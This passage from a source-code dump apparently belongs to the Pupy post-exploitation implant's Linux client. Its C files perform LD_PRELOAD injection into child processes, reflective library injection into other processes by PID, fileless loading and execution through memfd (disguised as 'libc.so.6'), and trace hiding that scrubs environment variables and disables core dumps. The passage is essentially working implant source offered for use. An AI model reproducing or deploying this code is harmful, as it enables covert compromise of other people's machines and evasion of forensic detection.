{\n        dprint(\"ARGV[%d] = %s\\n\", i, argv[i]);\n    }\n#endif\n\n    char *ldpreload = getenv(\"LD_PRELOAD\");\n    char *cleanup = getenv(\"CLEANUP\");\n    char *hook_exit = getenv(\"HOOK_EXIT\");\n\n    __argc = argc;\n    __argv = argv;\n\n    if (hook_exit && strncmp(hook_exit, \"1\", 1) == 0)\n        __to_wait = 1;\n\n    if (ldpreload) {\n        dprint(\"REMAP SELF\\n0\");\n        __unmapped = remap(ldpreload);\n    }\n\n    if (cleanup && ldpreload && !strcmp(cleanup, \"1\")) {\n        dprint(\"Cleanup requested. Cleanup %s\\n\", ldpreload);\n        unlink(ldpreload);\n    }\n\n    if (ldpreload) {\n        dprint(\"Unset LD_PRELOAD (%s)\\n\", ldpreload);\n        unsetenv(\"LD_PRELOAD\");\n    }\n\n    atexit(__atexit);\n\n#ifdef Linux\n    on_exit(__on_exit, NULL);\n#endif\n\n    while (*envp) {\n        if ((strncmp(*envp, \"LD_PRELOAD=\", 11) == 0)\n            || strncmp(*envp, \"CLEANUP=\", 8) == 0\n            || strncmp(*envp, \"HOOK_EXIT=\", 10) == 0) {\n            dprint(\"CLEAN %s\\n\", *envp);\n            memset(*envp, 0, strlen(*envp));\n        }\n        envp++;\n    }\n\n    dprint(\"Start payload, wait=%d\\n\", __to_wait);\n\n    pthread_attr_t attr;\n    pthread_attr_init(&attr);\n    pthread_create(\n            &thread_id, &attr,\n            thread_start, NULL);\n\n    dprint(\"init_array completed\\n\");\n}\n\n__attribute__((section(\".init_array\"))) void (* pupy_main)(int, char*[], char*[]) = _pupy_main;\n"
  },
  {
    "path": "client/sources-linux-py3/memfd.h",
    "content": "#ifndef _PUPY_MEMFD_H\n#define _PUPY_MEMFD_H\n\n#define _GNU_SOURCE\n#include <sys/syscall.h>\n#include <string.h>\n#include <stdbool.h>\n#include <errno.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#ifndef MFD_CLOEXEC\n  #define MFD_CLOEXEC         0x0001U\n  #define MFD_ALLOW_SEALING   0x0002U\n#endif\n\n#ifndef __NR_memfd_create\n #ifdef __x86_64__\n  #define __NR_memfd_create 319\n #elif __i386__\n  #define __NR_memfd_create 356\n #elif __arm__\n  #define __NR_memfd_create 385\n #endif\n#endif\n\n#ifndef F_ADD_SEALS\n  #define F_ADD_SEALS    (1024 + 9)\n  #define F_SEAL_SEAL    0x0001\n  #define F_SEAL_SHRINK  0x0002\n  #define F_SEAL_GROW    0x0004\n  #define F_SEAL_WRITE   0x0008\n#endif\n\n#define PROCFS_PATH \"/proc/\"\n#define MEMFD_FILE_PATH PROCFS_PATH \"%d/fd/\"\n\nstatic bool memfd_checked = false;\nstatic bool memfd_works = true;\n\ninline static bool pupy_memfd_supported()\n{\n  int fd;\n\n  if (memfd_checked)\n    return memfd_works;\n\n  fd = syscall(__NR_memfd_create, \"check\", MFD_CLOEXEC | MFD_ALLOW_SEALING);\n  close(fd);\n\n  return fd != -1;\n}\n\ninline static int pupy_memfd_create(char *path, unsigned int path_size)\n{\n#ifdef Linux\n\n#ifdef DEBUG\n    #define _path path\n#else\n    char _path[PATH_MAX] = \"libc.so.6\";\n#endif\n    /* Do not make syscall billion times */\n    if (memfd_checked && !memfd_works) {\n      errno = ENOSYS;\n      return -1;\n    }\n\n    int fd = syscall(__NR_memfd_create, _path, MFD_CLOEXEC | MFD_ALLOW_SEALING);\n\n    if (fd == -1) {\n      if (errno == ENOSYS)\n        memfd_works = false;\n\n      return -1;\n    }\n\n    snprintf(path, path_size, MEMFD_FILE_PATH \"%d\", getpid(), fd);\n    return fd;\n#else\n  return -1;\n#endif\n}\n\ninline static bool is_memfd_path(const char *path)\n{\n    return !strncmp(path, PROCFS_PATH, strlen(PROCFS_PATH)) && \\\n        strstr(path, \"/fd/\");\n}\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/pupy.c",
    "content": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n*/\n\n#define _GNU_SOURCE\n\n#ifdef _PUPY_SO\n#   define PY_SSIZE_T_CLEAN\n#\tinclude <Python.h>\n#else\n#\tinclude \"Python-dynload.h\"\n#\tinclude \"Python-dynload-os.h\"\n#endif\n\n#include <stdlib.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys/wait.h>\n#include <dlfcn.h>\n#include <limits.h>\n#include \"debug.h\"\n#include \"daemonize.h\"\n#include <arpa/inet.h>\n#include \"tmplibrary.h\"\n#include <sys/mman.h>\n#ifdef Linux\n#include <sys/prctl.h>\n#include \"memfd.h\"\n#ifdef _FEATURE_INJECTOR\n#include \"injector.h\"\n#endif\n#endif\n\n#include \"ld_hooks.h\"\n#include \"revision.h\"\n\nstatic const char module_doc[] = DOC(\"Builtins utilities for pupy\");\nstatic PyObject *ExecError;\n\n#ifdef _FEATURE_PATHMAP\nstatic PyObject *py_pathmap = NULL;\n\n#ifndef _LD_HOOKS_NAME\nstatic\n#endif\nconst char *__pathmap_callback(const char *path, char *buf, size_t buf_size)\n{\n    PyGILState_STATE gil_state;\n    PyObject* result = NULL;\n    char *c_result = NULL;\n\n    if (!strncmp(path, \"f:\", 2) ||\n        !strncmp(path, \"pupy:/\", 6) ||\n        !strncmp(path, \"pupy/\", 5))\n    {\n        dprint(\"__pathmap_callback(%s) -> pupy -> NULL\\n\");\n        return NULL;\n    }\n\n    if (!py_pathmap) {\n        dprint(\"__pathmap_callback: uninitialized (should not happen)\\n\");\n        return path;\n    }\n\n    dprint(\"__pathmap_callback(%s) - get (%p (%d))\\n\",\n        path, py_pathmap, Py_RefCnt(py_pathmap));\n\n    gil_state = PyGILState_Ensure();\n\n    result = PyDict_GetItemString(py_pathmap, path);\n\n    dprint(\"__pathmap_callback(%s) -> %p (%d)\\n\",\n        path, result, Py_RefCnt(result));\n\n    if (!result) {\n        PyGILState_Release(gil_state);\n        return path;\n    }\n\n    if (result == Py_None) {\n        dprint(\"__pathmap_callback: None\\n\");\n        PyGILState_Release(gil_state);\n        return NULL;\n    }\n\n    c_result = PyBytes_AsString(result);\n    if (!c_result) {\n        dprint(\"__pathmap_callback: Not a string object\\n\");\n        PyErr_Clear();\n        PyGILState_Release(gil_state);\n        return path;\n    }\n\n    strncpy(buf, c_result, buf_size);\n    PyGILState_Release(gil_state);\n    return buf;\n}\n#endif\n\nstatic PyObject *Py_get_arch(PyObject *self, PyObject *args)\n{\n#ifdef __x86_64__\n    return Py_BuildValue(\"s\", \"x64\");\n#elif __i386__\n    return Py_BuildValue(\"s\", \"x86\");\n#elif __arm__\n    return Py_BuildValue(\"s\", \"arm\");\n#else\n    return Py_BuildValue(\"s\", \"unknown\");\n#endif\n}\n\nstatic PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)\n{\n    const char *lpCmdBuffer;\n    const char *lpDllBuffer;\n    uint32_t dwDllLenght;\n    PyObject* py_HookExit;\n\n    if (!PyArg_ParseTuple(args, \"zs#O\", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit))\n        return NULL;\n\n    char ldobject[PATH_MAX] = {};\n    int cleanup_workaround = 0;\n    int cleanup = 1;\n\n    int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght);\n    if (fd < 0) {\n        dprint(\"Couldn't drop library: %m\\n\");\n        return NULL;\n    }\n\n#ifdef Linux\n    if (is_memfd_path(ldobject)) {\n        cleanup_workaround = 1;\n        cleanup = 0;\n    }\n#endif\n\n    char cmdline[PATH_MAX*2] = {};\n    snprintf(\n        cmdline, sizeof(cmdline), \"LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null\",\n        ldobject,\n        PyObject_IsTrue(py_HookExit),\n        cleanup,\n        lpCmdBuffer\n    );\n\n    dprint(\"Program to execute in child context: %s\\n\", cmdline);\n\n#if defined(Linux) && !defined(DEBUG)\n    if (cleanup_workaround)\n        prctl(4, 1, 0, 0, 0);\n#endif\n\n    pid_t pid = daemonize(0, NULL, NULL, false);\n    if (pid == 0) {\n        /* Daemonized context */\n        dprint(\"Daemonization complete - client\\n\");\n        execl(\"/bin/sh\", \"/bin/sh\", \"-c\", cmdline, NULL);\n        unlink(ldobject);\n        exit(255);\n    }\n\n    dprint(\"Daemonization complete - server\\n\");\n    if (cleanup_workaround) {\n        sleep(2);\n        close(fd);\n    }\n\n#if defined(Linux) && !defined(DEBUG)\n    if (cleanup_workaround)\n        prctl(4, 0, 0, 0, 0);\n#endif\n\n    if (pid == -1) {\n        dprint(\"Couldn\\'t daemonize: %m\\n\");\n        unlink(ldobject);\n        return PyLong_FromLong(-1);\n    }\n\n    return PyLong_FromLong(pid);\n}\n\n#ifdef Linux\n#ifdef _FEATURE_INJECTOR\nstatic PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)\n{\n    uint32_t dwPid;\n    const char *lpDllBuffer;\n    uint32_t dwDllLenght;\n    int ret = 0;\n    if (!PyArg_ParseTuple(args, \"Is#\", &dwPid, &lpDllBuffer, &dwDllLenght))\n        return NULL;\n\n    dprint(\"Injection requested. PID: %d\\n\", dwPid);\n\n    char buf[PATH_MAX]={};\n    int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght);\n    if (!fd) {\n        PyErr_SetString(ExecError, \"Couldn't drop library\");\n        return NULL;\n    }\n\n    int is_memfd = is_memfd_path(buf);\n\n    dprint(\"Injecting %s to %d\\n\", buf, dwPid);\n\n    injector_t *injector;\n\n    if (injector_attach(&injector, dwPid) != 0) {\n        PyErr_SetString(ExecError, \"Injector attach failed\");\n        return NULL;\n    }\n\n#ifndef DEBUG\n    if (is_memfd)\n        prctl(4, 1, 0, 0, 0);\n#endif\n\n    if (injector_inject(injector, buf) == 0) {\n        dprint(\"\\\"%s\\\" successfully injected\\n\", buf);\n        ret = 1;\n    }\n\n    if (is_memfd) {\n#ifndef DEBUG\n        prctl(4, 0, 0, 0, 0);\n#endif\n        close(fd);\n    } else {\n        unlink(buf);\n    }\n\n    injector_detach(&injector);\n\n    if (ret != 1) {\n        PyErr_SetString(ExecError, injector_error());\n        return NULL;\n    }\n\n    return PyBool_FromLong(0);\n}\n#endif\n\n\nstatic PyObject *Py_memfd_is_supported(PyObject *self, PyObject *args)\n{\n    return PyBool_FromLong(pupy_memfd_supported());\n}\n\n\nstatic PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwargs)\n{\n    char memfd_path[PATH_MAX] = {};\n    int fd = -1;\n    const char *name = \"\";\n    FILE *c_file;\n    PyObject *py_file;\n    PyObject *result;\n\n    static const char* kwargs_defs[] = {\n        \"name\", NULL\n    };\n\n    if (!PyArg_ParseTupleAndKeywords(args, kwargs, \"|s\", kwargs_defs, &name))\n        return NULL;\n\n    strncpy(memfd_path, name, sizeof(memfd_path));\n\n    dprint(\"Py_memfd_create(%s)\\n\", name);\n    fd = pupy_memfd_create(memfd_path, sizeof(memfd_path));\n\n    if (fd == -1)\n        return PyErr_SetFromErrno(PyExc_OSError);\n\n    c_file = fdopen(fd, \"w+b\");\n    if (!c_file) {\n        close(fd);\n        return PyErr_SetFromErrno(PyExc_OSError);\n    }\n\n    py_file = PyFile_FromFd(c_file, memfd_path, \"w+b\", -1, \"\", \"\\n\", \"\", fclose);\n    if (!py_file) {\n        close(fd);\n        return NULL;\n    }\n\n    result = Py_BuildValue(\"Os\", py_file, memfd_path);\n    Py_DecRef(py_file);\n\n    return result;\n}\n#endif\n\n\nstatic PyObject *Py_load_dll(PyObject *self, PyObject *args)\n{\n    char *lpDllBuffer;\n    Py_ssize_t dwDllLenght;\n    const char *dllname;\n    PyObject *dataobj;\n    if (!PyArg_ParseTuple(args, \"sS\", &dllname, &dataobj))\n        return NULL;\n\n    if (PyBytes_AsStringAndSize(dataobj, &lpDllBuffer, &dwDllLenght)==-1) {\n            PyErr_Format(PyExc_ImportError,\n                 \"Py_load_dll : cannot convert bytes to char * : %s \", dllname);\n            return NULL;\n    }\n\n    dprint(\"Py_load_dll(%s, buf=%p BufSize=%d)\\n\", dllname, lpDllBuffer, dwDllLenght);\n\n    void * hmem = memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW);\n    if (!hmem) {\n        dprint(\"Py_load_dll(): Couldn't load %s\\n\", dllname);\n        PyErr_Format(ExecError, \"Py_load_dll(): Couldn't load %s\\n\", dllname);\n        return NULL;\n    }\n    dprint(\"Py_load_dll(): returning handle: %x\\n\",hmem);\n    return PyLong_FromVoidPtr(hmem);\n}\n\n\nstatic PyObject *\nPy_import_module(PyObject *self, PyObject *args) {\n    char *data;\n    Py_ssize_t size;\n    char *initfuncname;\n    char *modname;\n    char *pathname;\n    char *oldcontext;\n\n    PyObject *dataobj;\n    PyObject *spec;\n    /* code, initfuncname, fqmodulename, path */\n    if (!PyArg_ParseTuple(args, \"SsssO:import_module\",\n          &dataobj,\n          &initfuncname, &modname, &pathname, &spec)) {\n        dprint(\"error in PyArg_ParseTuple()\\n\");\n        return NULL;\n    }\n\n    dprint(\"DEBUG! %s@%s\\n\", initfuncname, modname);\n\n    if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) {\n            PyErr_Format(PyExc_ImportError,\n                 \"cannot convert bytes to char * : %s \", pathname);\n            return NULL;\n    }\n\n    dprint(\"import_module: init=%s mod=%s (%p:%lu)\\n\",\n           initfuncname, modname, data, size);\n\n    void *hmem = memdlopen(modname, data, size, RTLD_LOCAL | RTLD_NOW);\n    if (!hmem) {\n        dprint(\"Py_import_module(): Couldn't load %s\\n\", modname);\n        PyErr_Format(PyExc_ImportError, \"Py_load_dll(): Couldn't load %s\\n\", modname);\n        return NULL;\n    }\n\n    PyObject *(*do_init)(void);\n    do_init= dlsym(hmem, initfuncname);\n    if (!do_init) {\n        dprint(\"Couldn't find sym %s in %s: %m\\n\", initfuncname, modname);\n        dlclose(hmem);\n        return NULL;\n    }\n\n    oldcontext = _Py_PackageContext;\n    _Py_PackageContext = modname;\n    dprint(\"Call %s@%s (%p)\\n\", initfuncname, modname, do_init);\n    PyObject *m = do_init();\n    _Py_PackageContext = oldcontext;\n\n    dprint(\"Call %s@%s (%p) - complete\\n\", initfuncname, modname, do_init);\n\n    // multi phase init\n    if (PyObject_TypeCheck(m, &PyModuleDef_Type)) {\n        struct PyModuleDef *def;\n        PyObject *state;\n\n        m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec);\n        def = PyModule_GetDef(m);\n        state = PyModule_GetState(m);\n        if (state == NULL) {\n            PyModule_ExecDef(m, def);\n        }\n        dprint(\"return from PyObject_TypeCheck\\n\", modname);\n        return m;\n    }\n    PyObject *modules = NULL;\n    modules = PyImport_GetModuleDict();\n    PyObject *name = PyUnicode_FromString(modname);\n    _PyImport_FixupExtensionObject(m, name, name, modules);\n\n    Py_DECREF(name);\n\n    if (PyErr_Occurred()) {\n        dprint(\"error at the end\\n\");\n            return NULL;\n    }\n\n\n    dprint(\"calling PyImport_ImportModule(%s)\\n\", modname);\n    /* Retrieve from sys.modules */\n    return PyImport_ImportModule(modname);\n}\n\nstatic PyObject *Py_mexec(PyObject *self, PyObject *args)\n{\n    const char *buffer = NULL;\n    size_t buffer_size = 0;\n    PyObject *argv_obj = NULL;\n    PyObject *redirected_obj = NULL;\n    PyObject *detach_obj = NULL;\n\n//TODO: change all deprecated and broken s# notation in PyArg_ParseTuple\n    if (!PyArg_ParseTuple(args, \"s#OOO\", &buffer, &buffer_size, &argv_obj, &redirected_obj, &detach_obj))\n        return NULL;\n\n    Py_ssize_t argc = PySequence_Length(argv_obj);\n    if (argc < 1) {\n        PyErr_SetString(ExecError, \"Args not passed\");\n        return NULL;\n    }\n\n    bool redirected = PyObject_IsTrue(redirected_obj);\n    bool detach =  PyObject_IsTrue(detach_obj);\n    char **argv = (char **) malloc(sizeof(char*) * (argc + 1));\n    if (!argv) {\n        PyErr_SetString(ExecError, \"Too many args\");\n        return NULL;\n    }\n\n    int i;\n    for (i=0; i<argc; i++) {\n        PyObject *arg = NULL;\n        arg = PySequence_GetItem(argv_obj, i);\n        if (arg)\n            argv[i] = PyBytes_AsString(arg);\n    }\n    argv[argc] = NULL;\n\n    int stdior[3] = { -1, -1, -1 };\n    pid_t pid = memexec(buffer, buffer_size, (const char **) argv, stdior, redirected, detach);\n\n    if (pid < 0) {\n        PyErr_SetString(ExecError, \"Can't execute\");\n        return NULL;\n    }\n\n    PyObject * p_stdin = Py_None;\n    PyObject * p_stdout = Py_None;\n    PyObject * p_stderr = Py_None;\n\n    if (redirected) {\n        p_stdin = PyFile_FromFd(fdopen(stdior[0], \"w\"), \"mexec:stdin\", \"a\", 0, \"\", \"\\n\", \"\", fclose);\n        p_stdout = PyFile_FromFd(fdopen(stdior[1], \"r\"), \"mexec:stdout\", \"r\", 0, \"\", \"\\n\", \"\", fclose);\n        p_stderr = PyFile_FromFd(fdopen(stdior[2], \"r\"), \"mexec:stderr\", \"r\", 0, \"\", \"\\n\", \"\", fclose);\n\n        //PyFile_SetBufSize(p_stdin, 0);\n        //PyFile_SetBufSize(p_stdout, 0);\n        //PyFile_SetBufSize(p_stderr, 0);\n    }\n\n    return Py_BuildValue(\"i(OOO)\", pid, p_stdin, p_stdout, p_stderr);\n}\n\nstatic PyObject *Py_is_shared_object(PyObject *self, PyObject *args)\n{\n#ifdef _PUPY_SO\n        return PyBool_FromLong(1);\n#else\n        return PyBool_FromLong(0);\n#endif\n}\n\nstatic PyMethodDef methods[] = {\n    { \"is_shared\", Py_is_shared_object, METH_NOARGS, DOC(\"Client is shared object\") },\n    { \"get_arch\", Py_get_arch, METH_NOARGS, DOC(\"get current pupy architecture (x86 or x64)\") },\n#ifdef Linux\n#ifdef _FEATURE_INJECTOR\n    { \"reflective_inject_dll\", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS,\n      DOC(\"reflective_inject_dll(pid, dll_buffer)\\nreflectively inject a dll into a process. raise an Exception on failure\")\n    },\n#endif\n    { \"memfd_is_supported\", Py_memfd_is_supported, METH_VARARGS, DOC(\"Check memfd is supported\") },\n    { \"memfd_create\", (PyCFunction) Py_memfd_create, METH_VARARGS | METH_KEYWORDS, DOC(\"Create memfd file\") },\n#endif\n    { \"load_dll\", Py_load_dll, METH_VARARGS, DOC(\"load_dll(dllname, raw_dll) -> ptr\") },\n    { \"import_module\", Py_import_module, METH_VARARGS,\n      DOC(\"import_module(data, size, initfuncname, path) -> module\") },\n    { \"mexec\", Py_mexec, METH_VARARGS, DOC(\"mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))\") },\n    { \"ld_preload_inject_dll\", Py_ld_preload_inject_dll, METH_VARARGS, DOC(\"ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid\") },\n    { NULL, NULL },     /* Sentinel */\n};\n\nstatic struct PyModuleDef PupyModuleDef =\n{\n//    PyModuleDef_HEAD_INIT,\n    {\n        { 0, 0, 1, NULL} ,           \n        NULL, /* m_init */          \n        0,    /* m_index */         \n        NULL\n    }, /* m_copy */          \n    \"_pupy\", /* name of module */\n    \"\", /* module documentation, may be NULL */\n    -1,   /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */\n    methods\n};\n\n#ifdef _PUPY_DYNLOAD\n#define FUNC_EXPORT PyMODINIT_FUNC\n#else\n#define FUNC_EXPORT void *\n#endif\n\nFUNC_EXPORT PyInit__pupy(void) {\n\n    PyObject *pupy;\n    //PyObject *pupy = Py_InitModule3(\"_pupy\", methods, (char *) module_doc);\n    dprint(\"creating pupy module ...\\n\");\n    pupy = PyModule_Create(&PupyModuleDef);\n\n    if (!pupy) {\n        return NULL;\n    }\n\n    PyModule_AddStringConstant(pupy, \"revision\", GIT_REVISION_HEAD);\n    ExecError = PyErr_NewException(\"_pupy.error\", NULL, NULL);\n    Py_INCREF(ExecError);\n    PyModule_AddObject(pupy, \"error\", ExecError);\n\n#ifdef _PUPY_SO\n    //setup_jvm_class();\n#endif\n\n#ifdef _FEATURE_PATHMAP\n    py_pathmap = PyDict_New();\n    Py_INCREF(py_pathmap);\n    PyModule_AddObject(pupy, \"pathmap\", py_pathmap);\n#ifndef _LD_HOOKS_NAME\n    set_pathmap_callback(__pathmap_callback);\n#endif\n#endif\n    return pupy;\n}\n"
  },
  {
    "path": "client/sources-linux-py3/pupy.ldscript",
    "content": "{\n    global:\n        open; open64;\n        openat; openat64;\n        fopen; fopen64;\n        __lxstat; __lxstat64;\n        __xstat; __xstat64;\n\n    local: *;\n};\n"
  },
  {
    "path": "client/sources-linux-py3/pupy.so.ldscript",
    "content": "{\n    global: \n        JNI_OnLoad;\n        JNI_OnUnload;\n    local: *;\n};\n"
  },
  {
    "path": "client/sources-linux-py3/pupy_load.c",
    "content": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n*/\n\n#define _GNU_SOURCE\n#include <errno.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <limits.h>\n#include <string.h>\n#include <pthread.h>\n#include <stdint.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#include <sys/resource.h>\n\n#include \"tmplibrary.h\"\n#include \"debug.h\"\n\n#include \"pupy_load.h\"\n\n#include \"Python-dynload.c\"\n#include \"revision.h\"\n#include \"ld_hooks.h\"\n#include \"memfd.h\"\n\n// include the c extension to load from memory\n#include \"_pupy.c\"\n\n//extern DL_EXPORT(void) init_pupy(void);\n\n#if defined(_FEATURE_PATHMAP) && defined(_LD_HOOKS_NAME)\nconst char *__pathmap_callback(const char *path, char *buf, size_t buf_size);\n#endif\n\n\nuint32_t mainThread(int argc, char *argv[], bool so)\n{\n\n    struct rlimit lim;\n    char *oldcontext;\n\n    dprint(\"TEMPLATE REV: %s\\n\", GIT_REVISION_HEAD);\n\n    if (getrlimit(RLIMIT_NOFILE, &lim) == 0)\n    {\n        lim.rlim_cur = lim.rlim_max;\n        setrlimit(RLIMIT_NOFILE, &lim);\n    }\n\n    lim.rlim_cur = 0;\n    lim.rlim_max = 0;\n    setrlimit(RLIMIT_CORE, &lim);\n\n#ifdef _FEATURE_PATHMAP\n#ifndef _LD_HOOKS_NAME\n    _ld_hooks_main(argc, argv, NULL);\n#else\n    void *ld_hooks = xz_dynload(\n        _LD_HOOKS_NAME, _LD_HOOKS_START, _LD_HOOKS_SIZE,\n        NULL\n    );\n\n    if (ld_hooks) {\n        void (*set_pathmap_callback)(cb_hooks_t cb) = dlsym(\n            ld_hooks, \"set_pathmap_callback\");\n\n        if (set_pathmap_callback) {\n            set_pathmap_callback(__pathmap_callback);\n            dprint(\"set_pathmap_callback: %p\\n\", set_pathmap_callback);\n        } else {\n            dprint(\"set_pathmap_callback not found\\n\");\n        }\n    } else {\n        dprint(\"set_pathmap_callback: \" _LD_HOOKS_NAME \" not found\\n\");\n    }\n\n#endif\n#endif\n\n    dprint(\"Initializing python...\\n\");\n    if (!initialize_python(argc, argv, so))\n    {\n        return -1;\n    }\n\n    dprint(\"_pupy built with dynload\\n\");\n    //init_pupy();\n    void *c_pupy = xz_dynload(\n        \"_pupy.so\",\n        _pupy_c_start, _pupy_c_size,\n        NULL\n    );\n    PyObject *(*PyInit__pupy)(void);\n    PyInit__pupy= dlsym(c_pupy, \"PyInit__pupy\");\n    if (!PyInit__pupy) {\n        dprint(\"Couldn't find sym PyInit__pupy\");\n        dlclose(c_pupy);\n        return -1;\n    }\n\n    oldcontext = _Py_PackageContext;\n    _Py_PackageContext = \"_pupy\";\n\n    PyObject *m = PyInit__pupy();\n    _Py_PackageContext = oldcontext;\n\n    PyObject *modules = NULL;\n    modules = PyImport_GetModuleDict();\n    PyObject *name = PyUnicode_FromString(\"_pupy\");\n    _PyImport_FixupExtensionObject(m, name, name, modules);\n\n    Py_DECREF(name);\n\n    if (PyErr_Occurred()) {\n        dprint(\"error loading _pupy.so\\n\");\n        return false;\n    }\n\n    dprint(\"Running pupy...\\n\");\n    run_pupy();\n\n    dprint(\"Global Exit\\n\");\n    return 0;\n}\n"
  },
  {
    "path": "client/sources-linux-py3/pupy_load.h",
    "content": "#ifndef PUPY_LOAD_H\n#define PUPY_LOAD_H\n\n#include <stdint.h>\n#include <stdbool.h>\n\nvoid initialize(bool isDll);\nint execute(void * lpArg);\nvoid deinitialize();\n\nuint32_t mainThread(int argc, char *argv[], bool so);\n\nvoid setup_jvm_class();\n\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/revision.h",
    "content": "#define GIT_REVISION_HEAD \"90a8f7a9\"\n"
  },
  {
    "path": "client/sources-linux-py3/tmplibrary.c",
    "content": "#define _GNU_SOURCE\n\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <limits.h>\n#include <fcntl.h>\n#include <stdlib.h>\n#include <alloca.h>\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#include <link.h>\n#include <dlfcn.h>\n#include <sys/wait.h>\n#include <signal.h>\n#include <errno.h>\n#include <inttypes.h>\n#include <stddef.h>\n\n#include \"tmplibrary.h\"\n#include \"debug.h\"\n\n#ifdef Linux\n#include \"memfd.h\"\n#endif\n\n#include \"decompress.h\"\n\n#ifndef MREMAP_FIXED\n#define MREMAP_FIXED    2\n\n#endif\n\nvoid*  (*___mremap) (\n   void *old_address, size_t old_size,\n   size_t new_size, int flags, void *new_address) = (void *) mremap;\n\nstatic\nvoid _pmparser_split_line(\n    char *buf, char *addr1, char *addr2,\n    char *perm, char *offset, char *device, char *inode,\n    char *pathname\n);\n\nextern char **environ;\n\n/*\n\n  So.. We don't want to bother with reflective bla-bla-bla. Just\n  upload buffer to temporary file, load it as a library using standard\n  glibc calls, then delete\n\n*/\n\nstatic inline\nconst char *gettemptpl() {\n    static const char *templates[] = {\n#ifdef Linux\n        \"/dev/shm/XXXXXX\",\n        \"/run/shm/XXXXXX\",\n        \"/run/\",\n#endif\n        \"/tmp/XXXXXX\",\n        \"/var/tmp/XXXXXX\",\n        NULL\n    };\n\n    static const char *tmpdir = NULL;\n    if (! tmpdir) {\n        int i;\n        for (i=0; templates[i]; i++) {\n            char *buf = alloca(strlen(templates[i]+1));\n            strcpy(buf, templates[i]);\n            int fd = mkstemp(buf);\n            int found = 0;\n            if (fd != -1) {\n                int page_size = sysconf(_SC_PAGESIZE);\n                if (ftruncate(fd, page_size) != -1) {\n                    void *map = mmap(\n                        NULL,\n                        page_size,\n                        PROT_READ|PROT_EXEC,\n#ifdef Linux\n                        MAP_PRIVATE|MAP_DENYWRITE,\n#else\n                        MAP_PRIVATE,\n#endif\n                        fd,\n                        0\n                    );\n                    if (map != MAP_FAILED) {\n                        munmap(map, page_size);\n                        found = 1;\n                    } else {\n                        dprint(\"Couldn't use %s -> %m\\n\", buf);\n                    }\n                }\n\n                unlink(buf);\n                close(fd);\n\n                if (found) {\n                    tmpdir = templates[i];\n                    break;\n                }\n            }\n            dprint(\"TRY: %s -> %d (%m)\\n\", buf, fd);\n\n        }\n        if (!tmpdir) {\n            abort();\n        }\n    }\n\n    return tmpdir;\n}\n\nint drop_library(char *path, size_t path_size, const char *buffer, size_t size) {\n#if defined(Linux)\n    int fd = pupy_memfd_create(path, path_size);\n    bool memfd = true;\n#elif defined(SunOS)\n    char tmp[PATH_MAX] = {};\n    snprintf(tmp, sizeof(tmp), \"/tmp/%s\", path);\n    int fd = open(tmp, O_CREAT | O_RDWR, 0600);\n    strncpy(path, tmp, path_size);\n    bool memfd = false;\n#else\n    int fd = -1;\n    bool memfd = false;\n#endif\n\n    if (fd < 0) {\n        dprint(\"pupy_memfd_create() failed: %m\\n\");\n        memfd = false;\n\n        const char *template = gettemptpl();\n\n        if (path_size < strlen(template))\n            return -1;\n\n        strcpy(path, template);\n\n        fd = mkstemp(path);\n        if (fd < 0) {\n            return fd;\n        }\n    }\n    if (size > 2 && buffer[0] == '\\x1f' && buffer[1] == '\\x8b') {\n        dprint(\"Decompressing library %s\\n\", path);\n        int r = decompress(fd, buffer, size);\n        if (!r == 0) {\n            dprint(\"Decompress error: %d\\n\", r);\n            close(fd);\n            return -1;\n        }\n    } else {\n        dprint(\"Writing library to fd : %s\\n\", path);\n        while (size > 0) {\n            size_t n = write(fd, buffer, size);\n            if (n == -1) {\n                dprint(\"Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\\n\", size, buffer, path);\n                close(fd);\n                unlink(path);\n                fd = -1;\n                break;\n            }\n            buffer += n;\n            size -= n;\n        }\n    }\n    \n#ifdef Linux\n    if (memfd) {\n        dprint(\"calling fcntl on fd=%d\\n\", fd);\n        fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);\n    }\n#endif\n\n    dprint(\"returning fd=%d\\n\", fd);\n    return fd;\n}\n\nstatic inline int\nset_cloexec_flag (int desc) {\n    int oldflags = fcntl (desc, F_GETFD, 0);\n    if (oldflags < 0)\n        return oldflags;\n    oldflags |= FD_CLOEXEC;\n    return fcntl (desc, F_SETFD, oldflags);\n}\n\npid_t memexec(const char *buffer, size_t size, const char* const* argv, int stdior[3], bool redirected_stdio, bool detach) {\n    dprint(\"memexec(%p, %ull, %d)\\n\", buffer, size, redirected_stdio);\n\n    char buf[PATH_MAX]={};\n    int fd = drop_library(buf, sizeof(buf), buffer, size);\n    if (fd < 0) {\n        dprint(\"Couldn't drop executable: %m\\n\");\n        return -1;\n    }\n\n    int p_wait[2];\n    int p_stdin[2];\n    int p_stdout[2];\n    int p_stderr[2];\n\n    if (pipe(p_wait) < 0) {\n        dprint(\"Couldn't create wait pipe: 